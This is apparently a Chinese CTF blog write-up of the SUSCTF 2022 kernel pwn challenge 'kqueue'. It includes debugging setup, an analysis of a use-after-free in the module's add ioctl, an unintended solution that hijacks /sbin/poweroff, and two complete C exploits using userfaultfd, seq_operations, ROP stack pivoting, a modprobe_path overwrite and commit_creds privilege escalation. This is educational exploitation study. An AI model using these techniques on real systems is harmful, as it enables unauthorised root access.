susctf-2022-pwn-review

susctf-2022-pwn 复现

很久没有做题了,找了最近的几次比赛试题复现一下。xctf的题目质量一向不错,首先复现一下susctf2022的所有pwn题。

4-kqueue

  • 当控制了rip后,可以利用pt_regs结构体,然后使用pop rsp; ret这个gadget把栈迁移到用户地址空间,接着利用一些gadgetsmodprobe_path修改为自定义路径

  • seq_operations结构体控制后,当调用read(fd, data, 0)的时候,会先调start指针,然后调show指针,然后调stop指针

  • 直接调用swapgs_restore_regs_and_return_to_usermode,从mov rdi, cr3处开始返回用户态,布局如下:

    1
    2
    3
    4
    5
    6
    7
    8
    
    swapgs_restore_regs_and_return_to_usermode+offset
    0
    0
    get_shell_address
    user_cs
    user_eflags
    user_sp
    user_ss

题目分析

首先修改启动脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash
set -ex

gcc exp2.c -o ./rootfs/home/ctf/exp2 -static -w
gcc exp.c -o ./rootfs/home/ctf/exp -static -w -lpthread

cd ./rootfs

find . | cpio -o --format=newc > ../rootfs.cpio

cd ..

stty intr ^] # 避免ctrl + c 结束qemu

fakeroot -- \
	qemu-system-x86_64 \
	-initrd rootfs.cpio \
	-kernel  bzImage\
	-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr'  \ # 关闭kaslr
	-monitor /dev/null \
	-m 64M \
   	--nographic \
	-no-reboot \
	-smp cores=2,threads=2 \
	-cpu kvm64,+smep,smap  \
	-s # 开启调试端口

然后添加一个gdb脚本:

1
2
3
4
5
6
7
#!/bin/sh

gdb-multiarch ./vmlinux \
    -ex 'target remote 127.0.0.1:1234' \
    -ex 'add-symbol-file vmlinux 0xffffffff81000000' \
    -ex 'add-symbol-file kqueue.ko 0xffffffffc0000000' \
    -ex 'b *0xffffffffc0000058' \

并可以在init脚本中添加以方便调试:

1
2
3
cat /proc/kallsyms > /tmp/kallsyms
cat /sys/module/kqueue/sections/.text > /tmp/modules
cat /sys/module/kqueue/sections/.bss >> /tmp/modules

题目是一个循环链表,梳理出结构体如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
struct Queue
{
  Node *head;
  Node *tail;
  u64 num;
  u64 head_lock;
  char _1[24];
  u64 tail_lock;
};

struct Node
{
  u64 idx;
  char data[8];
  Node *next;
};

kqueue_init

模块初始化的时候,申请了kmalloc-96chunk并给全局变量queue赋值,然后申请了一个node

image-20220629194137987

kqueue_ioctl

image-20220629195844063

添加的时候从tail尾部添加,如果拷贝失败,就会释放申请的node。但是由于已经把next域给赋值了,所以这里存在一个UAF

image-20220629200020344

删除的时候,从头部删除,但是拷贝的是下一个node的数据。这个很重要。

总结一下流程就是:

image-20220629201432118

利用思路

这题的附件有很大的bug/bin目录以及/sbinctf用户都可以写。观察一下init脚本,发现结束后调用了mount命令和poweroff命令,所以只需要修改软连接为自定义脚本即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#include <stdlib.h>

int main()
{
	system("mv /sbin/poweroff /sbin/poweroff.bk");
	system("echo '#!/bin/sh' > /tmp/poweroff");
	system("echo 'cat /flag' >> /tmp/poweroff");
	system("chmod +x /tmp/poweroff");
	system("ln -s /tmp/poweroff /sbin/poweroff");
	return 0;
}

然后输入exit退出的时候,可以直接获得flag

image-20220629193228160

说完非预期解,那么如果按照预期解法,思路如下:

  • 因为存在UAF,所以当添加node的时候,传入一个非法地址使得copy_from_user失败,就能给next域赋值,然后使用seq_operations占位这个chunk,即可泄露出kernel text基地址。
  • 然后两次释放seq_operations所在的chunk过程中,结合userfaultfd去修改stop指针为任意地址
  • 结合pt_regs结构体,使用栈迁移修改modprobe_path即可读取flag

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#define DEBUG 1
#include "helpful.h"

const char *DEV_NAME = "/dev/kqueue";
int g_fd, g_seq_fd;

extern size_t g_user_cs, g_user_ss, g_user_sp, g_user_eflags;
extern size_t g_prepare_kernel_cred_addr, g_commit_creds_addr;
extern size_t g_vmlinux_base_addr;
extern size_t *g_buffer;
extern size_t g_r15, g_r14, g_r13, g_r12, g_rbp, g_rbx, g_r11, g_r10, g_r9, g_r8, g_rdx, g_rcx, g_rax, g_rsi, g_rdi;
extern ssize_t g_process_userfault_running;

void add(void *data)
{   
    assert(g_fd > 0);
    ioctl(g_fd, 0x1314001, data);
}

void dele(void *data)
{
    assert(g_fd > 0);
    ioctl(g_fd, 0x1314002, data);
}

void prepare()
{
    bindcpu(0);
    save_status();
    prepare_for_modprobe_path("/tmp/aa");
    g_fd = open(DEV_NAME, O_RDWR);
    assert(g_fd > 0);
    success("prepare work done!");
}

void helper(void *page)
{
    // add rsp, 0x160; pop rbx; pop r12; pop r13; pop rbp; ret; 
    size_t gadget = GET_GADGET_REAL_ADDR(0xffffffff810494c5);
    memcpy(page, &gadget, 8);
    close(g_seq_fd);
    g_seq_fd = open("/proc/self/stat", O_RDONLY);
    info("now g_seq_fd is: %d", g_seq_fd);
    sleep(1);
}

void get_flag()
{
    system("/tmp/dummy");
    system("cat /flag");
    get_root_shell_ex();
}

void funcA(void *page)
{
    size_t data = 0;
    dele(&data);
    add(page);
}

void hacker()
{
    ssize_t seq;
    size_t data = 0;
    void *page = get_mmap_rw(0, PAGE_SIZE);
    register_userfault(page, &userfaultfd_stuck_handler, &helper, 0);

    info("try to leak kernel address.");
    add(0xdeadbeef);
    g_seq_fd = open("/proc/self/stat", O_RDONLY);
    dele(&data);
    g_vmlinux_base_addr = data - 0x10d4b0;
    assert(g_vmlinux_base_addr >> 56 == 0xff);
    info("leak kernel base address: 0x%lx", g_vmlinux_base_addr);

    info("try to change modprobe_path.");
    pthread_t tid;
    pthread_create(&tid, NULL, &funcA, page);
    g_process_userfault_running = 1;
    pthread_join(tid, NULL);
    int k = 0;
    g_buffer[k++] = GET_GADGET_REAL_ADDR(0xffffffff8107bd1d); // pop rdi; ret; 
    g_buffer[k++] = 0x61612f706d742f; // pop rdi; ret; 
    g_buffer[k++] = GET_GADGET_REAL_ADDR(0xffffffff8101d6b1); // pop rax; ret; 
    g_buffer[k++] = GET_GADGET_REAL_ADDR(0xffffffff81a2ad40); // modprobe_path
    g_buffer[k++] = GET_GADGET_REAL_ADDR(0xffffffff810cccd5); // mov qword ptr [rax], rdi; ret;
    g_buffer[k++] = GET_GADGET_REAL_ADDR(0xffffffff81400a65); // swapgs_restore_regs_and_return_to_usermode
    g_buffer[k++] = 0; 
    g_buffer[k++] = 0;
    g_buffer[k++] = (size_t)&get_flag; 
    g_buffer[k++] = g_user_cs; 
    g_buffer[k++] = g_user_eflags; 
    g_buffer[k++] = g_user_sp; 
    g_buffer[k++] = g_user_ss; 

    assign_all_regs();

    g_r8 = (size_t)g_buffer;
    g_r9 = GET_GADGET_REAL_ADDR(0xffffffff810953cc); // pop rsp; ret;
    g_rsi = g_r8;

    asm volatile(
        "mov %1, %%r9\n\t"
        "mov %2, %%r10\n\t"
        "mov %3, %%r11\n\t"
        "mov %4, %%r12\n\t"
        "mov %0, %%r8\n\t"
        "mov %5, %%r13\n\t"
        "mov %6, %%r14\n\t"
        "mov %7, %%r15\n\t"
        "mov %8, %%rbp\n\t"
        "mov %9, %%rsi\n\t"
        "mov %10, %%rbx\n\t"
        "mov $5, %%rdi\n\t"
        "mov $0, %%rdx\n\t"
        "mov $0, %%rax\n\t"
        "syscall\n\t"
        :
        : "r"(g_r8),"r"(g_r9),"r"(g_r10),"r"(g_r11),"r"(g_r12),"r"(g_r13),"r"(g_r14),"r"(g_r15),"r"(g_rbp),"r"(g_rsi),"r"(g_rbx)
        : "memory"
    );

}

void main()
{
    prepare();
    hacker();
}

还可以利用commit_creds(preapare_cred(0))来提升权限至root,使用xchg esp, eax; ret这一类的gadget即可。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
#define DEBUG 1
#include "helpful.h"

const char *DEV_NAME = "/dev/kqueue";
int g_fd, g_seq_fd;

extern size_t g_user_cs, g_user_ss, g_user_sp, g_user_eflags;
extern size_t g_prepare_kernel_cred_addr, g_commit_creds_addr;
extern size_t g_vmlinux_base_addr;
extern size_t *g_buffer;
extern size_t g_r15, g_r14, g_r13, g_r12, g_rbp, g_rbx, g_r11, g_r10, g_r9, g_r8, g_rdx, g_rcx, g_rax, g_rsi, g_rdi;
extern ssize_t g_process_userfault_running;

void add(void *data)
{   
    assert(g_fd > 0);
    ioctl(g_fd, 0x1314001, data);
}

void dele(void *data)
{
    assert(g_fd > 0);
    ioctl(g_fd, 0x1314002, data);
}

void prepare()
{
    bindcpu(0);
    save_status();
    prepare_for_modprobe_path("/tmp/aa");
    g_fd = open(DEV_NAME, O_RDWR);
    assert(g_fd > 0);
    success("prepare work done!");
}

void helper(void *page)
{
    // 0xffffffff810f95c7: xchg eax, esp; ret 0x24e9;
    size_t gadget = GET_GADGET_REAL_ADDR(0xffffffff810f95c7);
    memcpy(page, &gadget, 8);
    close(g_seq_fd);
    g_seq_fd = open("/proc/self/stat", O_RDONLY);
    info("now g_seq_fd is: %d", g_seq_fd);
    sleep(1);
}

void funcA(void *page)
{
    size_t data = 0;
    dele(&data);
    add(page);
}

void hacker()
{
    ssize_t seq;
    size_t data = 0;
    void *page = get_mmap_rw(0, PAGE_SIZE);
    register_userfault(page, &userfaultfd_stuck_handler, &helper, 0);

    info("try to leak kernel address.");
    add(0xdeadbeef);
    g_seq_fd = open("/proc/self/stat", O_RDONLY);
    dele(&data);
    g_vmlinux_base_addr = data - 0x10d4b0;
    assert(g_vmlinux_base_addr >> 56 == 0xff);
    info("leak kernel base address: 0x%lx", g_vmlinux_base_addr);
    g_prepare_kernel_cred_addr = GET_GADGET_REAL_ADDR(0xffffffff81055cb0);
    g_commit_creds_addr = GET_GADGET_REAL_ADDR(0xffffffff81055ae0);

    pthread_t tid;
    pthread_create(&tid, NULL, &funcA, page);
    g_process_userfault_running = 1;
    pthread_join(tid, NULL);

    size_t esp_addr = ((size_t)GET_GADGET_REAL_ADDR(0xffffffff810f95c7) & 0xffffffff);
    size_t *u_buffer = (size_t *)get_mmap_rw(esp_addr &~0xfff, 0x20000);
    assert(u_buffer != (void *)-1);
    *((size_t *)esp_addr) = GET_GADGET_REAL_ADDR(0xffffffff8107bd1d); // pop rdi; ret; 
    size_t *tmp = (size_t *)(esp_addr + 8 + 0x24e9);

    int k = 0;
    tmp[k++] = 0; // rdi
    tmp[k++] = g_prepare_kernel_cred_addr;
    tmp[k++] = GET_GADGET_REAL_ADDR(0xffffffff8122964c); // mov rdi, rax; pop r13; pop r14; mov rax, rdi; pop rbp; ret;
    tmp[k++] = 0;
    tmp[k++] = 0;
    tmp[k++] = (size_t)u_buffer + 0x10000;
    tmp[k++] = g_commit_creds_addr;
    tmp[k++] = GET_GADGET_REAL_ADDR(0xffffffff81400a65); // swapgs_restore_regs_and_return_to_usermode
    tmp[k++] = 0; 
    tmp[k++] = 0;
    tmp[k++] = (size_t)&get_root_shell_ex; 
    tmp[k++] = g_user_cs; 
    tmp[k++] = g_user_eflags; 
    tmp[k++] = g_user_sp; 
    tmp[k++] = g_user_ss; 

    read(g_seq_fd, &data, 0);

}

void main()
{
    prepare();
    hacker();
}

image-20220630221315813

5-kqueue-revenge

有点奇怪,俩附件完全一样……

image-20220630004500711

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%